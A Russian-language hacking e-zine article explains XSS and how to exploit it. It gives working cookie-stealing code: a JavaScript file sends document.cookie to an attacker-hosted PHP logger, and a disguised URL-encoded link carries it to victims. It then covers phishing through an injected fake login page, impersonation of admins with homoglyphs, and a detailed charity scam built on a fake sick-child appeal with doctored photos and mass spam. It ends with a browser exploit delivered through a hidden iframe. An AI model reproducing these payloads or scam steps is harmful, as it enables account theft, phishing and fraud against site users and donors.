XSS уязвимость. Альтернативные методы
использования.
Целью данной статьи будет
ознакомление читателей с многочисленными методами использования часто
встречаемой в наше время XSS уязвимости. Свою
статью я постараюсь изложить максимально понятным языком. Логически я
разделил её на две части: 1. XSS Уязвимость
(отобрал наиболее качественную и интересную информацию) 2. Альтернативные
методы использования (новая информация, где я собрал свои примеры и мысли)
Ну что ж, поехали! :)
1. [Введение]
Что же такое XSS уязвимость?
Аббревиатура XSS расшифровывается как
Cross
Site
Scripting (рус.
межсайтовый скриптинг) Однако общепринято называть именно
XSS, дабы не спутать
с уже ране введёнными Каскадными Стилями Таблиц (eng.
Cascading
Style
Sheets) которые
применяются дизайнерами для оформления веб-страниц. А так как
Cross – это «крест», то первую букву в
аббревиатуре “межсайтового скриптинга” заменили на «X»
В первую очередь
XSS – это уязвимость на сервере, которая позволяет
внедрить произвольный код в php страницу путём
передачи его в качестве значения нефильтруемой переменной. Попросту говоря,
определённой php странице мы можем передать
html теги <> и прочие нефильтруемые символы.
Значит, передавая определённые переменные в адресной строке браузера
php скрипту, мы будем наблюдать у себя в браузере
гинерируемую html-страницу.
2. [Проверка
на уязвимость]
Итак, долой скучную теорию
приступаем к практическим действиям :)
Для начала - это поиск подобных сайтов с нужной нам
уязвимостью. Смею заверить вас поиск не составит особого труда и не займёт
много времени :) Основной источник уязвимости это модуль поиска по сайту.
Обычно выглядит так:
http://site.by/index.php?sstring=
или так: www.site.by/?sstring=
В нашем случаи это переменная
sstring. Однако она может называться по-другому, к примеру,
find или search.
Первые наши действия:
1. Открываем интересующий сайт и ищем поиск на сайте.
2. Вводим следующий код в строку поиска (в нашем случаи
это будет тег <img>
подгружающий удалённое изображение, логотип Яндекса) <img+src=http://ya.ru/logo.gif>
и жмём “Поиск”
3. Должен подгузиться логотип
(Если
же мы этого не наблюдаем, а строка поиска выводит код без тегов, то нам не
повезло…)
Для поиска остальных интересующих сайтов поможет родной
Гугль :) Набираем к примеру
allinurl: ?search=
в поисковике и проверяем сайты на наличие бага (фильтрацию тегов)
уже известным способом.
3. [XSS Атака]
Собственно сейчас мы приступим к
использованию уязвимости. Как принято полагать основной метод использования
это кража Cookies (текстовый файл, хранящий пароль
и id или сессию пользователя на сайте/форуме) Я не
стал изобретать велосипед, а в качестве основы взял статью Jenizix`a
(http://web-hack.ru)
1. Берём любой бесплатный хостинг с поддержкой
PHP (прим. http://h1.ru
или http://jino-net.ru
) и регистрируемся (прим. http://xss.h1.ru
)
2. Создаём xss.js
со следующим содержанием:
document.write('<iframe
width=1 height=1 style="position: absolute; visibility: hidden;"
src="'+'http://xss.h1.ru/xss.php'+'?['+location.host+']:'+document.cookie+'"></iframe>'); |
3. Далее создаём
xss.php
:
<?
$file = fopen("cookies","a");
fputs($file,"[".date("d.m.y
H:i")."]".$QUERY_STRING."\r\n");
fclose($file);
?> |
4. Теперь нужно закинуть оба файла в веб-директорию
нашего сайта. Они должны быть доступны по адресу http://xss.h1.ru/xss.js
и http://xss.h1.ru/xss.php
5. Ищем с XSS уязвимостью. К
примеру сама уязвимость будет тут http://site.by/index.php?sstring=[xss]
6. Пошлем скрипту index.php
запрос ?sstring=<script
src=http://xss.h1.ru/xss.js></script>
7. Открываем http://xss.h1.ru/cookies и видим наши куки
с этого сайта/форума
8. Для того, что бы получить куки (если они
используются на этом сайте/форуме) админа или другого пользователя нам нужно
сделать так, чтобы пользователь открыл следующую ссылку:
http://site.by/index.php?sstring=<script
src=http://xss.h1.ru/xss.js></script>
9. Угнанные куки можно заменить на свои, или же
пробрутить хэш
пароля (с помощью
PasswordsPro) и получить
полный доступ к аккаунту :)
10. Однако такую ссылку в открытую ссылку кидать не
стоит(слишком подозрительно выглядит, не каждый клюнет :)) Jenizix описывал,
как написать php-скрипт который будет кодировать
нашу строку <script src=http://xss.h1.ru/xss.js></script>
в URL и обратно. Я же использую
веб-тулзу или
ICQ-бота
Sbot (uin:
64464644 или 757555) с помощью команд !eurl
и !durl
В итоге наша ссылку будет иметь такой вид
http://site.by/index.php?sstring=
%3Cscript%20src%3Dhttp%3A%2F%2Fxss.h1.ru%2Fxss.js%3E%3C%2Fscript%3E
4. [Альтернативные
методы использования]
Вот мы и подошли ко второй части моей
статьи. Сейчас я расскажу, какие ещё есть способы использования
XSS. Один из них это Фишинг (англ.
phishing, от pass — пароль и fishing —
выуживание) — это вид интернет-мошенничества, цель которого — получить
идентификационные данные пользователя. Организаторы фишинг атак создают
копии сайтов популярных брендов и от их лица рассылают по электронной почте
ссылки на страницы поддельных сайтов, с целью выудить у жертвы пароль или
номер кредитки. В настоящий момент это теряет актуальность (пользователь
менее доверчивый и всё более просвещённый). Мы же постараемся максимально
замаскировать фишинг с помощью XSS уязвимости на
сайте. Допустим мы нашли XSS на условном сайте. К
примеру, это http://shop.by/index.php?search=[xss]
Далее мы зарегистрируемся на любом хостинг с поддержкой
PHP (и желательно с MySQL). Нам следует
изучить страницу логина на сайт для пользователей, написать точную копию (по
виду) на php и залить на наш хостинг, к примеру
login.php. Эта страница
при вводе логина и пароля должна записать данные в условный файл на нашем
хосте, после желательно сделать переадресацию на настоящую страницу логина,
чтобы пользователь не заподозрил неладное :) Теперь нам нужно каким-то
образом разослать и убедить пользователей сайта
залогинится по этой ссылке :) Один из вариантов (если на сайте есть
рассылка от пользователя к пользователям личных сообщений) это массовая
рассылка писем в личку
юзерам под предлогом мол “ваш аккаунт мог быть использован 3им лицом,
и для безопасности залогинитесь через безопасный
вход по следующей ссылке”, или что-нить в этом роде :) главное убедить) А
лучше зарегистрировать себе пользователя с ником
Admin, Support и т.п.
Как это сделать? :) Да очень просто) при регистрации
Admin вместо английской “A” вводим русскую,
в Support к примеру “о” русское, в общем работаем
с фантазией) Второй вариант рассылки - на мыло, к сожаления этот способ
теряёт актуальность, даже если отослать от адреса support@shop.by
=) В итоге наша ссылка будет иметь следующий вид: http://shop.by/index.php?search=<iframe%20src=http://xss.h1.ru/login.php%20width=100%%20height=1000>
, выделенные значения изменяйте под структуру сайта. Далее нам стоит
закодировать наш тег <iframe… в
URL для большей маскировки :)
Собственно от фишинга
переходим к другому методу. По своему роду похожему но требует большей
хитрости и мастерства :) Назовём его один из способов
интернет-мошенничества. Суть заключается в том, что бы
максимально использовать соц. инженерию. Мой пример будет заключаться в
фальшивом объявлении, в котором больной девочке срочно нужны деньги на
лечение. Для этого нам понадобится подходящий по тематике сайт с
XSS (желательно популярный), любой хостинг,
открытый счёт в банке с услугой интернет-банкинг (возможность доступа
к счёту через интернет), а так же терпение и упорство :) Ищем в сети
грамотно составленное объявление, изменяем данные (банк, город, номер счёта,
получатель, контактный телефон) и подгоняем под дизайн сайта. Так же можно
указать кошельки web-money
и т.п. Для достоверности сверьте с другими объявлениями, чтобы
различия были минимальны, так же можно найти скан документов с диагнозом и
цене лечения (никто их особо не смотрит, так для формальности :)) Далее нам
следует найти пару фотографий девочки (желательно подтверждающие её болезнь)
С помощью PhotoShop можно добавить на фотографии
логотип известного телеканала, это так же может сыграть немалую роль. В
тексте необходимо как можно больше давить на то, что времени с каждым днём
всё меньше и меньше, так же можно сделать копию страницы на английском
языке. Ещё немаловажным фактом будет указать, что те, кто перечислит деньги
в помощь будут каким-то образом разрекламированы (в телепередаче, или на
сайте телеканала). Далее регистрируемся на любом бесплатно хосте желательно
с коротким доменным именем (прим.
olya.h1.ru).
Заливаем нашу страницу с именем index.html
Затем добавляем в уязвимый сайт XSS (прим.
http://help-child.by/?find=<iframe%20src=http://olya.h1.ru%20width=100%%20height=1000>)
, выделенные значения меняем под структуру сайта
А как же другие люди узнают об это ссылке? –
реклама двигатель прогресса :) Тут могу посоветовать два способа. Первый
это рассылка состоятельным и заинтересованным людям по
ICQ или e-mail.
Второй это рассылка на мыло и вывеска на форумах малых и средних фирм
(за 2 часа я насобирал 243 мыла и около 80 форумов и гостевых). Им
удобна лишняя реклама за небольшие вклады. Так же нужно учесть
маскировку ссылки, чтобы ссылка не была слишком длинной (при переводе в
URL один символ заменяется на три) Главное
“спрятать” все теги. Вот один из наглядных примеров объявления в
XSS: 
Собственно всё :) Конечно не обещаю больших денег,
если они вообще будут =) но попытать счастье можно :)
Ещё один способ - это
использование уязвимости в браузере пользователя, при загрузке
html, php страницы в
которую внедрён эксплоит ( exploit) исполнятся
определённый код в системе (прим. получение доступа к определенным
файлам). В моём примере будет безобидный эксплоит загружающий
калькулятор ( calc. exe).
Создадим текстовый файл запишем туда код
эксплоита и
сохраним файл в формате . html Далее зальём его
на любой бесплатный хостинг под именем index. html
Берём сайт с XSS дописываем строку < iframe%20 src= http:// exploit. h1. ru%20 width=1%%20 height=1>
, это невидимый фрейм загружающий эксплоит. Я выбрал именно этот
тег т.к. при использовании window.location.href
пользователь может прекратить переадресацию Так же
незабываем маскировать ссылку… ;) Наш эксплоит безобидный можно испытать
на себе :) К сожалению огромный минус в том, что данный метод палится
антивирусом :(
5. [В заключении…]
Вот мы и подошли к концовке моей статьи…
Вообще по этой теме можно говорить вечно =) ведь использование
XSS не ограничены определёнными рамками, т.к
это все те возможности PHP,
ASP, HTML, CGI
и конечно же JavaScript.
Непонятно почему официальный
Microsoft “окрестил” XSS уязвимость как
“Низкий уровень опасности” C одной стороны
понятно – XSS не может принести вреда серверу,
но всё же администрация сайта должна заботиться не только о собственной
безопасности, а также и о безопасности их пользователей. Ведь, как
известно основные проблемы безопасности возникают при неосведомлённости
пользователей, а так же при неграмотном написании ПО. К сожалению (а
может и к счастью :)) только спустя огромное время гиганты ПО начинают
дополнять браузеры анти-фишинговой системой…
Как мы видим, есть много примеров использования
XSS. Их возможности очень велики, начиная от
приколов на JavaScript (прим. открытие
бесконечного числа окон:)) и заканчивая уязвимостями в популярных
браузерах (выполняющие произвольный код в системе).
P.S.
Автор не несёт ответственность за творческое осмысление данной статьи
читателями...
Спасибо за внимание…
:)
.:: Special for Open Team E-zine ::.
Добавления: [GuriK]
Public icq: 419-157
|